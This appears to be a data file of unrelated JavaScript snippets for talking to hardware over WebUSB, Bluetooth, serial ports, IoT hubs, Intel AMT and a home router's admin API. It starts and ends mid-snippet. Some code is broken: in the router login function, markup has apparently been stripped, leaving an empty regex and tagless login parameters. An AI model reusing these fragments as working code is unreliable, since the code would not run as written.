device.controlTransferOut({\n // requestType: 'class',\n // recipient: 'interface',\n // request: 0x22,\n // value: 0x01,\n // index: 0x02})}) // Ready to receive data\n // .then(() => {\n // console.log('dedde', device);\n // device.transferIn(5, 64)\n // }) // Waiting for 64 bytes of data from endpoint #5.\n // .then(result => {\n // let decoder = new TextDecoder();\n // console.log('decoder', decoder, result);\n // console.log('Received: ' + decoder.decode(result.data));\n // })\n // .catch(error => { console.log('this.error', error); });\n console.log('constraints', constraints)\n\n setTimeout(() => {\n // constraints.video.deviceId = localStorage.getItem('deviceId');\n navigator.mediaDevices\n .getUserMedia(constraints)\n .then((stream) => {\n this.stream = stream;\n this.emit('stream', stream);\n })\n .catch((err) => {\n if (err instanceof DOMException) {\n alert('Cannot open webcam and/or microphone');\n } else {\n console.log(err);\n }\n });\n }, 3000)\n\n return this;\n }","function connectviaBT() {\r\n\t// initialize bluetooth and setup an event listener\r\n\t//todo: refactor name mWebSocket_InitAsync\r\n\tdocument.getElementById( \"idStatus\").innerHTML=\"Connecting via BT\";\r\n\t//returns data from BT as Uint8Array [1..20]\r\n\t//Todo: write what this does in a comment is this the Ternary Operator? (variable = (condition) ? expressionTrue : expressionFalse)\r\n\treturn (bluetoothDeviceDetected ? Promise.resolve() : getDeviceInfo() && isWebBluetoothEnabled())\r\n\t.then(connectGATT) //todo:@FC please explain what is happening here\r\n\t.then(_ => {\r\n\t\tconsole.log('Evaluating signal of interest...')\r\n\t\treturn gattCharacteristic.readValue()\t//receiving data from BT - Uint8Array [1..20]\r\n\t})\r\n\t.catch(error => {\r\n\t\tconsole.log('Waiting to start reading: ' + error)\r\n\t})\r\n}","function performAdvancedPowerActionResponse(stack, name, responses, status) {\n const dev = stack.dev;\n const action = dev.powerAction;\n delete dev.powerAction;\n if (obj.amtDevices[dev.nodeid] == null) return; // Device no longer exists, ignore this response.\n if (status != 200) return;\n if ((responses['AMT_BootSettingData'] == null) || (responses['AMT_BootSettingData'].response == null)) return;\n var bootSettingData = responses['AMT_BootSettingData'].response;\n\n // Clean up parameters\n bootSettingData['ConfigurationDataReset'] = false;\n delete bootSettingData['WinREBootEnabled'];\n delete bootSettingData['UEFILocalPBABootEnabled'];\n delete bootSettingData['UEFIHTTPSBootEnabled'];\n delete bootSettingData['SecureBootControlEnabled'];\n delete bootSettingData['BootguardStatus'];\n delete bootSettingData['OptionsCleared'];\n delete bootSettingData['BIOSLastStatus'];\n delete bootSettingData['UefiBootParametersArray'];\n delete bootSettingData['RPEEnabled'];\n delete bootSettingData['RSEPassword']\n\n // Ready boot parameters\n bootSettingData['BIOSSetup'] = ((action >= 11) && (action <= 14));\n bootSettingData['UseSOL'] = ((action >= 13) && (action <= 14));\n if ((action == 11) || (action == 13)) { dev.powerAction = 2; } // Power on\n if ((action == 12) || (action == 14)) { dev.powerAction = 10; } // Reset\n\n // Set boot parameters\n dev.amtstack.Put('AMT_BootSettingData', bootSettingData, function (stack, name, response, status, tag) {\n const dev = stack.dev;\n if ((obj.amtDevices[dev.nodeid] == null) || (status != 200)) return; // Device no longer exists or error\n // Set boot config\n dev.amtstack.SetBootConfigRole(1, function (stack, name, response, status, tag) {\n const dev = stack.dev;\n if ((obj.amtDevices[dev.nodeid] == null) || (status != 200)) return; // Device no longer exists or error\n // Set boot order\n dev.amtstack.CIM_BootConfigSetting_ChangeBootOrder(null, function (stack, name, response, status) {\n const dev = stack.dev;\n if ((obj.amtDevices[dev.nodeid] == null) || (status != 200)) return; // Device no longer exists or error\n // Perform power action\n try { dev.amtstack.RequestPowerStateChange(dev.powerAction, performPowerActionResponse); } catch (ex) { }\n }, 0, 1);\n }, 0, 1);\n }, 0, 1);\n }","function SendPortSync() {\n}","function webRtcSendOffer(clientName, offerValue) {\r\n\tif (typeof thisPeersName != \"string\") {\r\n\t\tconsole.log(\"Please set peer name before calling this function\");\r\n\t\treturn;\r\n\t}\r\n\t\r\n var xhttp = new XMLHttpRequest();\r\n\txhttp.onreadystatechange = function() {\r\n\t\tif (xhttp.readyState == 4 && xhttp.status == 200) {\r\n \r\n //see if there is a client asking to connect\r\n if (typeof xhttp.responseText == \"string\" && xhttp.responseText.length > 0) {\r\n ;\r\n }\r\n \r\n\t\t}\r\n\t};\r\n var full = location.protocol+'//'+location.hostname+(location.port ? ':'+location.port: ''); \r\n \r\n\t//xhttp.open(\"GET\", \"http://\" + window.location.host + \"/ioInterface?command=getOtsValues\", true);\r\n var message = {messageType: 'offer', offer: offerValue};\r\n var url = full + \"/webrtc?command=writeMessage&clientName=\" + thisPeersName + \"&destinationName=\" + clientName + \"&message=\" + btoa(JSON.stringify(message));\r\n \r\n //console.log(url.length, url);\r\n xhttp.open(\"GET\", url, true);\r\n\txhttp.send();\t \r\n}","sendMakeBetShan2(_chipbet) {\n cc.NGWlog(\"Vua dat cuoc =\" + _chipbet);\n var data = {\n evt: \"bm\",\n M: _chipbet\n };\n this.sendDataGame(JSON.stringify(data));\n }","function IoTHubGetDeviceInfo(deviceId, iothubname) {\n console.log(\"Getting Device Info : \" + deviceId);\n $('#IoTHub_Busy_Indicator').css('display', 'flex');\n $.ajax({\n type: \"GET\",\n url: '/home/IoTHubGetDeviceInfo',\n data: { deviceId: deviceId },\n success: function (response) {\n $('#deviceConnectionState').html(response.connectionState);\n\n if (response.connectionState == \"Disconnected\") {\n $('#deviceConnectionState').css(\"color\", 'red');\n }\n else {\n $('#deviceConnectionState').css(\"color\", 'blue');\n }\n $('#deviceModelId').html(response.deviceModelId);\n $('#deviceConnectionString').html(\"HostName=\" + iothubname + \";DeviceId=\" + response.deviceId + \";SharedAccessKey=\" + response.symmetricKey);\n $('#deviceKey').html(response.symmetricKey);\n\n DisableButton($('#btnDeviceTwin'), false);\n\n if (response.deviceModelId != null && response.deviceModelId.length > 0) {\n DisableButton($('#btnDeviceModelIdCopy'), false);\n }\n else\n {\n DisableButton($('#btnDeviceModelIdCopy'), true);\n }\n\n if (response.symmetricKey.length > 0) {\n DisableButton($('#btnDeviceConnectionStringCopy'), false);\n DisableButton($('#btnDeviceKeyCopy'), false);\n }\n else {\n DisableButton($('#btnDeviceConnectionStringCopy'), true);\n DisableButton($('#btnDeviceKeyCopy'), true);\n }\n\n //$('#btnDeviceModelIdCopy').prop('disabled', true);\n return true;\n },\n error: function (jqXHR) {\n // clear all fields\n IoTHubModalClear();\n alert(\" Status: \" + jqXHR.status + \" \" + jqXHR.responseText);\n return false;\n }\n });\n $('#IoTHub_Busy_Indicator').hide();\n\n}","function callAPI(req,res,handleResponse){\n var host = 'www.blueworkslive.com';\n var username = 'xxxx';\n var password = 'yyyy';\n var path = '/api/Auth';\n var headers = {\n 'Authorization': 'Basic ' + new Buffer(username+':'+password).toString('base64'),\n };\n var options = {\n host: host,\n path: path,\n method: 'GET',\n headers: headers\n };\n var bwlResData = {};\n console.log('BwlApiCall: Request '+options.method+' https://'+options.host+options.path);\n var bwlRequest = https.request(options, function(bwlResponse) {\n\tconsole.log(\"BwlApiCall: Response status=\"+bwlResponse.statusCode);\n\tbwlResData.status = bwlResponse.statusCode; // statusCode >= 200 and < 300 is OK\n\tbwlResData.headers = bwlResponse.headers;\n\tvar bufferData = [];\n\tbwlResponse.on('data', function(data) {\n\t bufferData.push(data);\n console.info('BwlApiCall: Response data received');\n\t});\n\tbwlResponse.on('end', function() {\n console.info('BwlApiCall: completed, calling callback');\n\t bwlResData.data = Buffer.concat(bufferData);\n\t handleResponse(req, res, bwlResData);\n });\n });\n/* if ((reqData.method == \"post\" || reqData.method == \"put\") && reqData.senddata) {\n console.log(reqData.method+' sending data: '+reqData.senddata);\n bwlRequest.write(reqData.senddata);\n } */\n bwlRequest.end();\n bwlRequest.on('error', function(e){\n console.error('BwlApiCall: REQUEST-ERROR '+e);\n });\n}","function sendConvertRAIDType(cardchar) {\n\t//collect data from web UI\n\tvar NewRAIDType = document.getElementById(\"RAIDType\"+cardchar).selectedIndex - 1;\n\tvar GUID = $(\"#GUID\"+cardchar).html();\n\n\t//store the command which is in progress\n\t$(\"#cardProgCmd\"+cardchar).html(JS_CONVERT_RAID_TYPE_REQ);\n\n\t//console.log(\"Convert GUID = \"+GUID);\n\n\t//disable \"Convert\" button\n\t$(\"#confirmConvertRAIDType\"+cardchar).prop(\"disabled\", true);\n\n\t//send command\n\tConvertRAIDType(GUID, NewRAIDType);\n}","async function blxSendBinblock (data, fname, syncflag, mem_addr) {\n let txlen_total = data.length\n let tx_pos = 0\n const time0 = Date.now() - 1000\n let tw_old = time0\n let tw_new // Working Time fuer Fortschritt\n let sblk_len = (max_ble_blocklen - 2) & 0xFFFC // Initial MAX Size Block, but Multi of 4\n\n if (data.length > 1000) { // Mehr als 1k Daten UND File: -> FAST\n\n if(fname === undefined){\n // Might bee too fast for Download to CPU Memory, set to slow with .cf 15 or greater!!!\n if(con_memfast_speed < 15)\n terminalPrint(\"*** WARNING: Memory Connection Speed: \" + con_memfast_speed ) \n const os = con_fast_speed // temporaer mit MEMORY Speed\n con_fast_speed = con_memfast_speed\n await blxConnectionFast()\n con_fast_speed = os\n }else{\n await blxConnectionFast()\n } \n if (blxErrMsg) return\n // console.log(\"Fast OK\");\n }\n if(fname!== undefined) await blxDeviceCmd('P' + (syncflag ? '!' : '') + ':' + fname, 5000) // P wie PUT\n else {\n {\n let wadr = mem_addr\n let wsize = txlen_total\n const sector_size = 4096 // Fix fuer nrF52\n // Sektoren in einzeln Loeschen, da langsam\n while(wsize>0){\n await blxDeviceCmd('K:' + wadr + ' ' + 1 , 5000) \n if (blxErrMsg) return\n wadr+=sector_size\n wsize-=sector_size\n }\n }\n await blxDeviceCmd('I:' + mem_addr, 5000) // I wie Internal\n }\n if (blxErrMsg) return\n\n try {\n for (;;) {\n let blen = txlen_total // Blocklen\n if (blen > sblk_len ) blen = sblk_len\n const bdata = new Uint8Array(blen + 2)\n bdata[0] = blen\n bdata[1] = BB_BLE_BINBLK_IN // Binary Data\n // Aufgabe: data[tx_pos] an bdata[2] kopieren\n const datablock = data.subarray(tx_pos, tx_pos + blen)\n bdata.set(datablock, 2) // Copies datablock into bdata\n\n await NUS_data_chara_write.writeValue(bdata.buffer)\n\n // console.log(bdata);\n txlen_total -= blen\n tx_pos += blen\n if (!txlen_total) {\n const dtime = Date.now() - time0\n terminalPrint('Transfer OK (' + dtime / 1000 + ' sec, ' + ((data.length / dtime * 1000).toFixed(0)) + ' Bytes/sec)')\n break\n }\n tw_new = Date.now()\n if (tw_new - tw_old > 1000) { // Alle Sekunde Fortschritt\n tw_old = tw_new\n terminalPrint(((tx_pos * 100) / data.length).toFixed(0) + '% / ' + tx_pos + ' Bytes')\n }\n }\n } catch (error) {\n if (full_connected_flag === false) blxErrMsg = 'ERROR: Connection lost'\n else blxErrMsg = 'ERROR: Transfer ' + error\n return\n }\n\n await blxDeviceCmd('L', 5000) // Close\n\n if (blxErrMsg) return\n if (data.length > 1000) { // Mehr als 1k Daten: -> Wieder SLOW\n await blxConnectionSlow()\n }\n }","function processData(buffer) {\n console.log(\"Status: \"+status);\n console.log('Read message: \"' + buffer + '\"');\n if (buffer.toString() == 'Ok!' && status == 0 && type !=1) {\n //Emepzamos el envio\n rqMsg = '';\n\n while ((pxInd < w * h) && (rqMsg.length < 256 - 12)) { //Bytes disponibles\n rqMsg += data[hexInd];\n pxInd += 4;\n hexInd++;\n }\n\n if (pxInd >= w * h) status++; \n\n const arr = new Uint16Array(2);\n\n buffIndCalc = (rqMsg.length + 12) / 2;\n const buffInd = Buffer.alloc(2);\n buffInd.writeUInt16LE(buffIndCalc);\n\n dSizeCalc += buffIndCalc;\n\n const dSize = Buffer.alloc(3);\n dSize.writeUInt16LE(dSizeCalc, 0, 3)\n\n\n var bufferToSend = Buffer.concat([Buffer.from('L', 'ascii'), buffInd, dSize, Buffer.from(rqMsg, 'hex')]);\n console.log(\"Buffer to send1: \" + bufferToSend.toString('hex'));\n\n\n epdCharacteristic.write(bufferToSend, function(err, bytesWritten) {\n if (err) console.log(err);\n console.log(\"wrote: L\");\n });\n } else if (buffer.toString() == 'Ok!' && status == 0 && type == 1) {\n //Emepzamos el envio pantalla a color\n rqMsg = '';\n\n while ((pxInd < w * h) && (rqMsg.length < 256 - 12)) { //Bytes disponibles\n rqMsg += data[hexInd];\n pxInd += 2; //cada pixel son 2 bits, por eso para cada hex tenemos avanzar 2 pixeles.\n hexInd++;\n }\n if (pxInd >= w * h) status++;\n\n const arr = new Uint16Array(2);\n\n buffIndCalc = (rqMsg.length + 12) / 2;\n const buffInd = Buffer.alloc(2);\n buffInd.writeUInt16LE(buffIndCalc);\n\n dSizeCalc += buffIndCalc;\n\n const dSize = Buffer.alloc(3);\n dSize.writeUInt16LE(dSizeCalc, 0, 3);\n\n\n var bufferToSend = Buffer.concat([Buffer.from('L', 'ascii'), buffInd, dSize, Buffer.from(rqMsg, 'hex')]);\n console.log(\"Buffer to send info: dSizeCalc\"+dSizeCalc+\" buffIndCalc: \"+buffIndCalc+\" pxInd: \"+pxInd);\n console.log(\"Buffer to send2: \" + bufferToSend.toString('hex'));\n\n\n epdCharacteristic.write(bufferToSend, function(err, bytesWritten) {\n if (err) console.log(err);\n console.log(\"wrote: L\");\n });\n } else if (buffer.toString() == 'Ok!' && status == 1 && type != 1) {\n //Hacemos el Show\n epdCharacteristic.write(Buffer.from('S', 'ascii'), function(err, bytesWritten) {\n if (err) console.log(err);\n console.log(\"wrote: S\");\n });\n status = 4;\n console.log(\"Desconectamos....\");\n clearTimeout(timeout);\n screenDisconect(false);\n return response.send({\n message: 'Success at updating the device: ' + macaddress,\n });\n } else if (buffer.toString() == 'Ok!' && status == 1 && type == 1) {\n //Hacemos el Next\n\n pxInd =0;\n hexInd = 0;\n\n epdCharacteristic.write(Buffer.from('N', 'ascii'), function(err, bytesWritten) {\n if (err) console.log(err);\n console.log(\"wrote: N\"); \n });\n status = 2;\n } else if (buffer.toString() == 'Ok!' && status == 2 && type == 1) {\n //Hacemos el Load del Next\n //let dataNext = req.body.dataNext;\n //Emepzamos el envio\n rqMsg = '';\n\n while ((pxInd < w * h) && (rqMsg.length < 256 - 12)) { //Bytes disponibles\n rqMsg += dataNext[hexInd];\n pxInd += 4; //en caso de rojo, cada pixel es un bit.\n hexInd++;\n }\n if (pxInd >= w * h) status = 3;\n\n const arr = new Uint16Array(2);\n\n buffIndCalc = (rqMsg.length + 12) / 2;\n const buffInd = Buffer.alloc(2);\n buffInd.writeUInt16LE(buffIndCalc);\n\n dSizeCalc += buffIndCalc;\n\n const dSize = Buffer.alloc(3);\n dSize.writeUInt16LE(dSizeCalc, 0, 3)\n\n\n var bufferToSend = Buffer.concat([Buffer.from('L', 'ascii'), buffInd, dSize, Buffer.from(rqMsg, 'hex')]);\n console.log(\"N_Buffer to send3: \" + bufferToSend.toString('hex'));\n\n\n epdCharacteristic.write(bufferToSend, function(err, bytesWritten) {\n if (err) console.log(err);\n console.log(\"wrote: L\");\n });\n } else if (buffer.toString() == 'Ok!' && status == 3 && type == 1) {\n console.log(\"Finalizamos...\");\n //Hacemos el Show\n epdCharacteristic.write(Buffer.from('S', 'ascii'), function(err, bytesWritten) {\n if (err) console.log(err);\n console.log(\"wrote: S\");\n });\n status = 4;\n console.log(\"Desconectamos....\");\n clearTimeout(timeout);\n screenDisconect(false);\n return response.send({\n message: 'Success at updating the device: ' + macaddress,\n });\n }\n trytoread();\n }","function setDeviceEnabledBand() {\n\tconsole.log('info: setDeviceEnabledBand() is called.');\n\n\t// Get csrf_token\n\tvar api = '/';\n\tvar url = 'http://' + document.apiform.address.value + api;\n\tupdateMessage(url, '', 'Connecting...', '');\n\n\tvar xhr = new XMLHttpRequest();\n\txhr.open('GET', url, false);\n\txhr.withCredentials = true;\n\txhr.onerror = function(e) {\n\t\tupdateMessage(url, xhr.statusText, 'Error: Cannot access.', '');\n\t};\n\txhr.send(null);\n\n\tif (xhr.status === 200) {\n\t\tvar str = xhr.responseText;\n\t\tvar csrf_token = str.match(//i);\n\t\tcsrf_token = csrf_token[1];\n\t\tif (csrf_token != null) {\n\t\t\tupdateMessage(url, xhr.statusText, 'Success to get a token: ' + csrf_token, '');\n\t\t} else {\n\t\t\tupdateMessage(url, xhr.statusText, 'Error: Fail to get the token.', '');\n\t\t\treturn -1;\n\t\t}\n\n\t\t// Login\n\t\tapi = '/api/user/login';\n\t\turl = 'http://' + document.apiform.address.value + api;\n\t\tupdateMessage(url, '', 'Connecting...', '');\n\n\t\txhr.open('POST', url, false);\n\t\txhr.onerror = function(e) {\n\t\t\tupdateMessage(url, xhr.statusText, 'Error: Cannot access.', '');\n\t\t};\n\n\t\t// Generate credential\n\t\tvar username = 'admin';\n\t\tvar password = document.apiform.password.value;\n\t\tvar password_hash = encryptSHA256(username + encryptSHA256(password) + csrf_token);\n\n\t\tvar login_params = '';\n\t\tlogin_params += '\\r';\n\t\tlogin_params += '\\r';\n\t\tlogin_params += '' + username + ' \\r';\n\t\tlogin_params += '' + password_hash + ' \\r';\n\t\tlogin_params += '4 \\r';\n\t\tlogin_params += ' \\r';\n\t\tconsole.log(login_params);\n\n\t\txhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest');\n\t\txhr.setRequestHeader('__RequestVerificationToken', csrf_token);\n\t\txhr.send(login_params);\n\n\t\t// Login Result\n\t\tif (xhr.status === 200) {\n\t\t\t\n\t\t\tvar error_code = xhr.responseText.match(/([0-9]+)<\\/code>/i);\n\t\t\tif (error_code == null) {\n\t\t\t\tupdateMessage(url, xhr.statusText, 'Login Successful!', xhr.responseText);\n\n\t\t\t\t// Set LTE Bands\n\t\t\t\tapi = '/api/net/net-mode';\n\t\t\t\turl = 'http://' + document.apiform.address.value + api;\n\t\t\t\tupdateMessage(url, '', 'Connecting...', '')\n\t\t\t\ttoken = xhr.getResponseHeader('__RequestVerificationTokenOne');\n\t\t\t\txhr.open('POST', url, true);\n\t\t\t\txhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest');\n\t\t\t\txhr.setRequestHeader('__RequestVerificationToken', token);\n\t\t\t\txhr.onload = function(e) {\n\t\t\t\t\terror_code = xhr.responseText.match(/([0-9]+)<\\/code>/i);\n\t\t\t\t\tconsole.log(error_code);\n\t\t\t\t\tif (error_code == null) {\n\t\t\t\t\t\tupdateMessage(url, xhr.statusText, 'Change Successful!', xhr.responseText);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tupdateMessage(url, xhr.statusText, 'Error: ' + ERRORS[error_code[1]], xhr.responseText);\n\t\t\t\t\t}\n\t\t\t\t};\n\t\t\t\txhr.onerror = function(e) {\n\t\t\t\t\tupdateMessage(url, xhr.statusText, 'Error: Check Parameters.', '')\n\t\t\t\t};\n\t\t\t\txhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded; charset=\"UTF-8\"');\n\t\t\t\tconsole.log(document.apiform.reqparams.value);\n\t\t\t\txhr.send(document.apiform.reqparams.value);\n\n\t\t\t} else {\n\t\t\t\tupdateMessage(url, xhr.statusText, 'Error: ' + ERRORS[error_code[1]], xhr.responseText);\n\t\t\t}\n\t\t\t\n\t\t} else {\n\t\t\tupdateMessage(url, xhr.statusText, 'Error: Cannot access.', xhr.responseText);\n\t\t}\n\n\t} else {\n\t\tupdateMessage(url, xhr.statusText, 'Error: Check the address or your browser status (Cross-Origin Resource Sharing).', '')\n\t}\n}","async send() {\n const onComplete = this.props.navigation.state.params.onComplete;\n try {\n let done = await this.props.wire.send();\n\n if (!done) {\n return;\n }\n\n if (onComplete) onComplete();\n this.props.navigation.goBack();\n } catch (e) {\n if (!e || e.message !== 'E_CANCELLED') {\n console.error('Wire/send()', e);\n\n Alert.alert(\n 'There was a problem sending wire',\n (e && e.message) || 'Unknown internal error',\n [{ text: 'OK' }],\n { cancelable: false }\n );\n }\n }\n }","function onOpen() {\n console.log('Port Open');\n console.log(`Baud Rate: ${port.options.baudRate}`);\n const outString = String.fromCharCode(output);\n console.log(`Sent:\\t\\t${outString}`);\n port.write(outString);\n}"],"string":"[\n \"async function RequestUSBDevice() { \\n await navigator.usb.requestDevice({ filters: [{}] });\\n}\",\n \"async function SendBlyncUSB30ControlCommand(deviceInfo, byRedValue, byGreenValue, byBlueValue, byLightControl, byMusicControl_1, byMusicControl_2) {\\n\\n try {\\n var device = deviceInfo.device;\\n\\n await device.open();\\n //await device.reset();\\n\\n if (device.configuration === null) {\\n await device.selectConfiguration(1);\\n }\\n\\n\\t\\tawait device.claimInterface(0);\\n\\t\\t\\n abyBlyncUsb30ReportBuffer[0] = byRedValue;\\n abyBlyncUsb30ReportBuffer[1] = byBlueValue;\\n abyBlyncUsb30ReportBuffer[2] = byGreenValue;\\n abyBlyncUsb30ReportBuffer[3] = byLightControl;\\n abyBlyncUsb30ReportBuffer[4] = byMusicControl_1;\\n abyBlyncUsb30ReportBuffer[5] = byMusicControl_2;\\n abyBlyncUsb30ReportBuffer[6] = 0xFF;\\n abyBlyncUsb30ReportBuffer[7] = 0x22;\\n\\n var result = await device.controlTransferOut( \\n {\\n requestType: 'class',\\n recipient: 'interface',\\n request: 0x09,\\n value: 0x0200,\\n index: 0x0000\\n },\\n abyBlyncUsb30ReportBuffer);\\n\\n await device.close();\\n } catch (e) {\\n console.log(\\\"Exception: \\\" + e);\\n }\\n}\",\n \"respondToArduino(command){\\n BluetoothSerial.write(command)\\n .then((res) => {\\n console.log(res, command)\\n })\\n .catch((err) => console.log(err.message))\\n }\",\n \"requestUsb() {\\n return new Observable(observer => {\\n navigator.usb.requestDevice({ filters: [] })\\n .then((result) => {\\n this.vendorId = result.vendorId;\\n this.productId = result.productId;\\n return observer.next(result);\\n }).catch(error => {\\n return observer.error(error);\\n });\\n });\\n }\",\n \"async function uBitOpenDevice(device, callback) {\\n const transport = new DAPjs.WebUSB(device)\\n const target = new DAPjs.DAPLink(transport)\\n let buffer=\\\"\\\" // Buffer of accumulated messages\\n const parser = /([^.:]*)\\\\.*([^:]+|):(.*)/ // Parser to identify time-series format (graph:info or graph.series:info)\\n \\n target.on(DAPjs.DAPLink.EVENT_SERIAL_DATA, data => {\\n buffer += data;\\n let firstNewline = buffer.indexOf(\\\"\\\\n\\\")\\n while(firstNewline>=0) {\\n let messageToNewline = buffer.slice(0,firstNewline)\\n let now = new Date() \\n // Deal with line\\n // If it's a graph/series format, break it into parts\\n let parseResult = parser.exec(messageToNewline)\\n if(parseResult) {\\n let graph = parseResult[1]\\n let series = parseResult[2]\\n let data = parseResult[3]\\n let callbackType = \\\"graph-event\\\"\\n // If data is numeric, it's a data message and should be sent as numbers\\n if(!isNaN(data)) {\\n callbackType = \\\"graph-data\\\"\\n data = parseFloat(data)\\n }\\n // Build and send the bundle\\n let dataBundle = {\\n time: now,\\n graph: graph, \\n series: series, \\n data: data\\n }\\n callback(callbackType, device, dataBundle)\\n } else {\\n // Not a graph format. Send it as a console bundle\\n let dataBundle = {time: now, data: messageToNewline}\\n callback(\\\"console\\\", device, dataBundle)\\n }\\n buffer = buffer.slice(firstNewline+1) // Advance to after newline\\n firstNewline = buffer.indexOf(\\\"\\\\n\\\") // See if there's more data\\n }\\n });\\n await target.connect();\\n await target.setSerialBaudrate(115200)\\n //await target.disconnect();\\n device.target = target; // Store the target in the device object (needed for write)\\n device.callback = callback // Store the callback for the device\\n callback(\\\"connected\\\", device, null) \\n target.startSerialRead()\\n return Promise.resolve()\\n}\",\n \"async send_cmd(cmd, options={}) {\\n const data = options.data;\\n const textDecode = (options.textDecode !== undefined ? !!options.textDecode : true);\\n const sleepOverride = (parseInt(options.sleepOverride) || 10);\\n const cmdIndex = (parseInt(options.cmdIndex) || 0);\\n\\n if (!this.device || !this.device.opened) {\\n this.log(\\\"error: device not connected.\\\\n\\\", \\\"red\\\");\\n this.log(\\\"Use button to connect to a supported programmer.\\\\n\\\", \\\"red\\\");\\n return Promise.reject(\\\"error: device not opened\\\");\\n }\\n\\n const opts = {\\n requestType: \\\"vendor\\\",\\n recipient: \\\"device\\\",\\n request: 250,\\n value: this.CMD_LUT[cmd],\\n index: cmdIndex\\n };\\n\\n // transfer data out\\n const res = data\\n ? await this.device.controlTransferOut(opts, data)\\n : await this.device.controlTransferOut(opts);\\n\\n // sleep for a bit to give the USB device some processing time leeway\\n await (() => new Promise(resolve => setTimeout(resolve, sleepOverride)))();\\n\\n return this.device.controlTransferIn({\\n requestType: \\\"vendor\\\",\\n recipient: \\\"device\\\",\\n request: 249,\\n value: 0x70,\\n index: 0x81\\n }, 64).then(result => {\\n return textDecode\\n ? (new TextDecoder()).decode(result.data)\\n : result.data.buffer;\\n });\\n }\",\n \"function sendCompleted(usbEvent) {\\n\\tif (chrome.runtime.lastError) {\\n\\t\\tconsole.error(\\\"sendCompleted Error:\\\", chrome.runtime.lastError.message);\\n\\t}\\n\\n\\tif (usbEvent) {\\n\\t\\tif (usbEvent.data) {\\n\\t\\t\\tvar buf = new Uint8Array(usbEvent.data);\\n\\t\\t\\tconsole.log(\\\"sendCompleted Buffer:\\\", usbEvent.data.byteLength, buf);\\n\\t\\t}\\n\\t\\tif (usbEvent.resultCode !== 0) {\\n\\t\\t\\tchangeState(state.connected);\\n\\t\\t\\terrorln(\\\"Error writing to device: \\\" + chrome.runtime.lastError.message);\\n\\t\\t}\\n\\t}\\n}\",\n \"async getRequestDeviceInfo() {\\n const outputReportID = 0x01;\\n const subcommand = [0x02];\\n const data = [\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n ...subcommand,\\n ];\\n await this.device.sendReport(outputReportID, new Uint8Array(data));\\n\\n return new Promise((resolve) => {\\n const onDeviceInfo = ({ detail: deviceInfo }) => {\\n this.removeEventListener('deviceinfo', onDeviceInfo);\\n delete deviceInfo._raw;\\n delete deviceInfo._hex;\\n resolve(deviceInfo);\\n };\\n this.addEventListener('deviceinfo', onDeviceInfo);\\n });\\n }\",\n \"function send(data) {\\n\\n if(MODE == MODES.TEST) {\\n ws.send(data);\\n } else if(MODE == MODES.BLUETOOH) {\\n\\n var data = new Uint8Array(1);\\n data[0] = data;\\n\\n ble.write(id, serviceId, serviceName, data.buffer, function() {\\n console.log(\\\"ble -> sendSucess\\\");\\n }, function(err) {\\n console.log(\\\"ble -> sendFailure : \\\" + JSON.stringify(err));\\n });\\n\\n }\\n\\n}\",\n \"function readRHUSB() {\\n port.write(\\\"PA\\\\r\\\\n\\\");\\n}\",\n \"function processDeviceCommand(request, response) {\\n\\t\\n\\tvar deviceIP = request.headers[\\\"tuyapi-ip\\\"]\\n\\tvar deviceID = request.headers[\\\"tuyapi-devid\\\"]\\n\\tvar localKey = request.headers[\\\"tuyapi-localkey\\\"]\\n\\tvar command = request.headers[\\\"tuyapi-command\\\"] \\n\\n\\t//var respMsg = \\\"deviceCommand sending to deviceID: \\\" + deviceID + \\\" Command: \\\" + command;\\n\\tvar respMsg = \\\"deviceCommand sending to IP: \\\" + deviceIP + \\\" Command: \\\" + command;\\n\\tconsole.log(respMsg);\\n\\n\\tvar device = new TuyaDevice({\\n\\t //ip: deviceIP,\\n\\t id: deviceID,\\n\\t key: localKey\\n\\t , issueGetOnConnect: false\\n\\t});\\n\\n\\tdevice.on('error', error => {\\n\\t\\tconsole.log('Error!', error);\\n\\t});\\n\\n\\t(async () => {\\n\\t\\tawait device.find();\\t \\n\\n\\t\\tawait device.connect();\\t \\n\\t\\tconsole.log('Connected to device!');\\n\\t\\tlet status = await device.get();\\t \\n\\t\\tconsole.log(`Current status: ${status}.`);\\t\\n\\t\\tswitch(command) {\\n\\t\\t\\tcase \\\"off\\\":\\t\\n\\t\\t\\t\\tconsole.log('Setting to false!');\\n\\t\\t\\t\\tawait device.set({set: false});\\n\\t\\t\\tbreak\\n\\t\\t\\tcase \\\"on\\\":\\n\\t\\t\\t\\tconsole.log('Setting to true!');\\n\\t\\t\\t\\tawait device.set({set: true});\\n\\t\\t\\tbreak\\n\\t\\t\\tcase \\\"status\\\":\\t\\n\\t\\t\\t\\tconsole.log('Received status request!');\\n\\t\\t\\tbreak\\n\\t\\t}\\n\\t\\tstatus = await device.get(); \\t\\t \\n\\t\\tconsole.log(`New status: ${status}.`);\\t \\n\\t\\tdevice.disconnect();\\n\\n\\t\\ttry{\\n\\t\\t\\tconsole.log(\\\"Sending Status to SmartThings:\\\" +status);\\t\\n\\t\\t\\tresponse.setHeader(\\\"tuyapi-onoff\\\", status);\\n\\t\\t\\tresponse.setHeader(\\\"cmd-response\\\", status);\\n\\t\\t\\tresponse.end();\\n\\t\\t\\tconsole.log(\\\"Status sent to SmartThings:\\\" +status);\\t\\n\\t\\t}catch (err){\\n\\t\\t\\tconsole.log(\\\"Error:\\\" +err);\\t\\n\\t\\t}\\n\\t})();\\t\\n}\",\n \"function bleSend() {\\n /* check if the device is connected if true send file*/\\n let encoder = new TextEncoder('utf-8');\\n\\n if(isConnected){\\n /* send an erase command so that the file gets started fresh */\\n RX_characteristic.writeValue(encoder.encode(\\\"erase\\\"));\\n for(let a = 0; a<3000; a++){\\n console.log(\\\"\\\")\\n }\\n /* get the contents of the editor that is in use */\\n let editorContents = editor.getValue();\\n /* send the contents to the device */\\n //split the editor contents into newlines.\\n temp = editorContents.split(/\\\\n/);\\n for(let i=0; idebug: '\\\" + msg + \\\"'\\\");\\n\\t\\t\\tbreak;\\n\\t\\t}\\n\\t\\tcase CMD_PING:\\n\\t\\t\\tmessageln(\\\"ping\\\");\\n\\t\\t\\tbreak;\\n\\t\\tcase CMD_VERSION:\\n\\t\\t{\\n\\t\\t\\tvar version = \\\"\\\" + dv.getUint8(2) + \\\".\\\" + dv.getUint8(3);\\n\\t\\t\\tmessageln(\\\"command: Version \\\" + 